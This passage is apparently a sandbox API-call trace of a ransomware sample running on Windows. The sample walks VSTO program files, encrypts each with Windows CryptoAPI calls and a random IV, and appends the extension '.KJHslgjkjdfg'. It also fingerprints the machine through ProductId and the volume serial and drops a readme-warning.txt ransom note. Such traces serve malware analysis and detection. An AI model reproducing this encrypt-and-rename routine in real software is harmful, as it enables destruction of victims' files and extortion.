nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0152.396] GetProcessHeap () returned 0x2a0000 [0152.396] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28e) returned 0x2f9730 [0152.396] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0152.396] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0152.396] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0152.396] GetProcessHeap () returned 0x2a0000 [0152.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f9730 | out: hHeap=0x2a0000) returned 1 [0152.396] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0152.396] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.398] GetProcessHeap () returned 0x2a0000 [0152.398] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.398] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.398] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0152.398] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.401] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.401] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.401] GetProcessHeap () returned 0x2a0000 [0152.401] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x50) returned 0x2c5278 [0152.401] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c5278*, pdwDataLen=0x290efd0*=0x50, dwBufLen=0x50 | out: pbData=0x2c5278*, pdwDataLen=0x290efd0*=0x50) returned 1 [0152.401] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.401] WriteFile (in: hFile=0x118, lpBuffer=0x2c5278*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5278*, lpNumberOfBytesWritten=0x290efe8*=0x50, lpOverlapped=0x0) returned 1 [0152.401] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0152.401] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0152.401] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0152.402] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0152.402] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0152.402] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0152.402] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.402] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.402] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2cc, lpOverlapped=0x0) returned 1 [0152.402] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2d0) returned 1 [0152.402] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.402] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2d0, lpOverlapped=0x0) returned 1 [0152.402] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.402] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.402] SetEndOfFile (hFile=0x118) returned 1 [0152.412] GetProcessHeap () returned 0x2a0000 [0152.412] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c5278 | out: hHeap=0x2a0000) returned 1 [0152.412] GetProcessHeap () returned 0x2a0000 [0152.412] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.kjhslgjkjdfg")) returned 1 [0152.414] CloseHandle (hObject=0x118) returned 1 [0152.414] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0152.414] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0152.414] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0152.414] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0152.414] GetProcessHeap () returned 0x2a0000 [0152.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.414] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0152.414] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.414] GetProcessHeap () returned 0x2a0000 [0152.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0152.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.414] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0152.415] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.415] GetProcessHeap () returned 0x2a0000 [0152.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0152.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.415] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0152.415] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.415] GetProcessHeap () returned 0x2a0000 [0152.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0152.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.415] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0152.415] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.415] GetProcessHeap () returned 0x2a0000 [0152.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0152.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.415] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0152.415] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.415] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0152.415] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0152.416] RegCloseKey (hKey=0x118) returned 0x0 [0152.416] GetProcessHeap () returned 0x2a0000 [0152.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0152.416] GetProcessHeap () returned 0x2a0000 [0152.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0152.416] GetProcessHeap () returned 0x2a0000 [0152.416] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0152.416] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0152.416] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0152.416] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0152.416] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0152.416] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0152.416] GetProcessHeap () returned 0x2a0000 [0152.416] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0152.416] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0152.417] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0152.417] GetProcessHeap () returned 0x2a0000 [0152.417] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0152.417] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\readme-warning.txt") returned 75 [0152.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0152.419] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0152.420] CloseHandle (hObject=0x118) returned 1 [0152.420] GetProcessHeap () returned 0x2a0000 [0152.420] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0152.420] GetProcessHeap () returned 0x2a0000 [0152.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0152.421] GetProcessHeap () returned 0x2a0000 [0152.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0152.421] GetProcessHeap () returned 0x2a0000 [0152.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.421] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0152.421] GetProcessHeap () returned 0x2a0000 [0152.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0152.421] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0152.421] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0152.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0152.423] GetProcessHeap () returned 0x2a0000 [0152.423] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.423] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0152.423] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0152.423] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.423] GetProcessHeap () returned 0x2a0000 [0152.423] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.423] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0152.423] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.423] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0152.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0152.426] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0152.426] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0152.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0152.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0152.426] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0152.426] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.426] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3f50, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3f50, lpOverlapped=0x0) returned 1 [0152.427] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3f50, dwBufLen=0x3f50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3f50) returned 1 [0152.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.428] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3f50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3f50, lpOverlapped=0x0) returned 1 [0152.428] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.428] SetEndOfFile (hFile=0x114) returned 1 [0152.431] GetProcessHeap () returned 0x2a0000 [0152.431] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0152.431] GetProcessHeap () returned 0x2a0000 [0152.431] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0152.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.kjhslgjkjdfg")) returned 1 [0152.432] CloseHandle (hObject=0x114) returned 1 [0152.433] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0152.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0152.434] GetProcessHeap () returned 0x2a0000 [0152.434] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0152.434] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0152.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0152.434] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0152.434] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0152.434] GetProcessHeap () returned 0x2a0000 [0152.434] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0152.434] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0152.434] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0152.434] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 